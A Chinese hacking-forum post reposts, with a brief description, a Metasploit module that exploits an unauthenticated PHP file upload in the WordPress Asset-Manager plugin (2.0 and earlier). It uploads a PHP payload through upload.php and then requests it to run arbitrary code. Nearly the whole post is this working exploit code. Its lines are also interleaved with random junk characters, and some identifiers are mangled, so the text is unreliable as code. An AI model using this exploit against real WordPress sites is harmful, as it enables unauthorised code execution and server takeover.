找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2065|回复: 0
打印 上一主题 下一主题

WordPress Asset-Manager PHP文件上传漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-31 09:22:33 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
这个模块利用Metasploi脆弱漏洞库在WordPress版本Asset-Manager插件2.0以及以下版本发现的。允许上传php文件、一用户可以上传一个文件到一个临时目录没有身份验证,从而导致执行任意代码。
) W/ @, g9 O/ T/ F& k. b9 d
  x9 b6 F% n& @6 e' P4 t##1 B: i/ w: ?  p
# This file is part of the Metasploit Framework and may be subject to
3 H1 i; b/ s& F( O4 N4 O# redistribution and commercial restrictions. Please see the Metasploit
( U7 N8 l" @' F+ {7 w# Framework web site for more information on licensing and terms of use.
0 N7 S0 [7 `$ a) f#   http://metasploit.com/framework/
1 @& c/ `$ |( d3 q2 ~  h: _##! R( z  H- d8 T

( X8 _' E7 q/ }9 ^+ _$ erequire 'msf/core'$ g' W# m% g& u( G8 l) ~/ F- U
require 'msf/core/exploit/php_exe'- Q/ C- s& y% e

2 S$ J4 u/ N+ u) S$ V3 ]/ A9 u' d) Zclass Metasploit3 < Msf::Exploit::Remote
9 B* m& H) G. q3 k) h9 T  Rank = ExcellentRanking
2 M8 L$ Q0 d; q1 Z* P/ h1 [
0 [2 G" ~' u+ ]6 X& `  include Msf::Exploit::Remote::HttpClient
1 T* S& q  w  k8 W1 w5 M4 k  include Msf::Exploit:hpEXE
- J# ~9 n. C2 x( Z7 ]0 F6 B  K+ _ . {, X0 W( _. H  w- \
  def initialize(info = {})
: A( B% ~$ x" N* S* i    super(update_info(info,/ J, C' w) d5 w9 D' H
      'Name'           => 'WordPress Asset-Manager PHP File Upload Vulnerability',6 w1 d* |6 M4 j1 a- E# T
      'Description'    => %q{
/ H" ~( m9 ~7 @0 ?: Y( _' B1 b        This module exploits a vulnerability found in Asset-Manager <= 2.0  WordPress
% e0 M4 e2 B. g, }( l        plugin.  By abusing the upload.php file, a malicious user can upload a file to a
$ m+ g0 ^9 u8 ^. |; Z        temp directory without authentication, which results in arbitrary code execution.
  B" n) r# t: u# M/ r& `- ~      },( f( D: t0 [4 C1 P. P1 ]& K& x
      'Author'         =>
# w8 V# [/ Y2 e9 N! C        [- d% Z' P4 b& X! u  k
          'Sammy FORGIT', # initial discovery
# C0 G; T! }; l1 x          'James Fitts <fitts.james[at]gmail.com>' # metasploit module6 G( j, Y/ u7 ?
        ],1 E7 z. F+ [0 F  A
      'License'        => MSF_LICENSE,' R$ Z) u5 f2 C9 o
      'References'     =>$ x0 `* _- `* c
        [
2 Z- m9 D' s& n" p# W          [ 'OSVDB', '82653' ],
2 @5 r$ v3 v, z          [ 'BID', '53809' ],
# R$ ]. U9 W% N7 W7 h4 ^% m          [ 'EDB', '18993' ],& X/ d. G7 P& m
          [ 'URL', 'http:// www.myhack58.com /' ]: c! P( O% u  Q  B( x
        ],0 @' `! w3 h2 O& A$ \8 a! f7 o
      'Payload'       =>8 ^6 J( O/ {* `: ?4 g# E4 M' I# }
        {$ n  m% I1 {8 s) ]$ r4 |* j
          'BadChars' => "\x00",
0 H! A8 W' o+ U        },+ V7 A2 Y9 v( x0 l
      'Platform'       => 'php',
* C* |( Y: j4 A      'Arch'           => ARCH_PHP,0 ?" N  B( k% y! s& }3 b5 j
      'Targets'        =>
. H& n" f% D: ^: r3 E        [
9 t2 F9 ]% i' u8 B          [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
' D# `, H6 k! ~+ m4 X8 O          [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]" S" S; e$ J' ~
        ],
8 J- {* y2 R$ e& _5 J      'DefaultTarget' => 0,
5 Q- |, T+ x7 J( K3 o      'DisclosureDate' => 'May 26 2012'))
& [' Y! n0 h+ O: B- r- i$ |) i ! J) ~4 Y4 P$ U
    register_options(( |' J1 \% S/ l" `4 ]% b( S, H2 @
      [: s) _" z- m  ~: v; F4 q+ k
        OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])
" H, ?. j" i$ [  B0 B      ], self.class)9 F/ _8 q9 t) A3 h  F, V
  end
# N. y) R7 k: D8 A$ c $ z* R1 |9 Y% P, s/ p- a
  def exploit/ N, `+ O- ~$ X, I$ E6 g4 S
    uri =  target_uri.path
5 a" `4 g4 ~- |# y, [& K( L    uri << '/' if uri[-1,1] != '/'
% I4 N" Y; O! o- V    peer = "#{rhost}:#{rport}"4 r# p6 u3 a2 s3 r+ m' D9 x+ h
    payload_name = "#{rand_text_alpha(5)}.php"
& ^6 ?9 p8 v% G% I% t; x$ y1 e    php_payload = get_write_exec_payload(:unlink_self=>true)
  }6 m, U& @9 V) q' l6 E
& p  H1 `+ {  q( b    data = Rex::MIME::Message.new
# B9 d  J0 R3 }& H- x6 T( y2 |) \    data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"")- q1 N; V  W: ^, y5 G9 l* _4 b0 G
    post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
; L9 M& O3 b0 O7 P6 ^ 5 ]; r' g/ c9 _5 [
    print_status("#{peer} - Uploading payload #{payload_name}")
: ?7 B0 u" _4 O; r6 w3 f3 W3 p    res = send_request_cgi({/ K! I- @" X& P7 x
      'method'  => 'POST',$ f" u+ n) A8 c
      'uri'     => "#{uri}wp-content/plugins/asset-manager/upload.php",: V" e/ W: Q& r9 t, A2 N! o
      'ctype'   => "multipart/form-data; boundary=#{data.bound}",
0 y: B) V& E; S- r8 a7 K6 o  I      'data'    => post_data
& J+ w; g; M8 K, D/ \4 V# u    }): h5 {( o2 ?) d+ w$ v

! B/ T4 L& s& v/ q9 o; X    if not res or res.code != 200 or res.body !~ /#{payload_name}/
3 o+ W# {9 L: @( H( n$ k9 _0 z/ k      fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")# {- M& a4 H$ @+ j8 F0 L
end" d" ^" y* A' B' n+ V' R) a  j
) `( e9 z% [7 A5 d
    print_status("#{peer} - Executing payload #{payload_name}")
. M( I+ r& _' J) _' B    res = send_request_raw({/ ?$ Y# P* x: a
      'uri'     => "#{uri}wp-content/uploads/assets/temp/#{payload_name}",* K5 q3 w  [( Z  {! \8 a, R/ |
      'method'  => 'GET'
- N1 H  L& h3 n+ N+ a% t# L    })
, V( q- v) a) H* Q * g0 Y( B% Z+ u5 w' \; a4 G
    if res and res.code != 200+ K; e0 x  ~- u# @9 l
      fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Execution failed"), p+ m# W& f/ k1 b/ c$ I
    end% p, U1 j' H' m0 q! O+ u/ w3 u8 {
  end6 @$ W; Z. m6 L- P  b
end) L" c% ?+ Z( M5 e  m& k
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表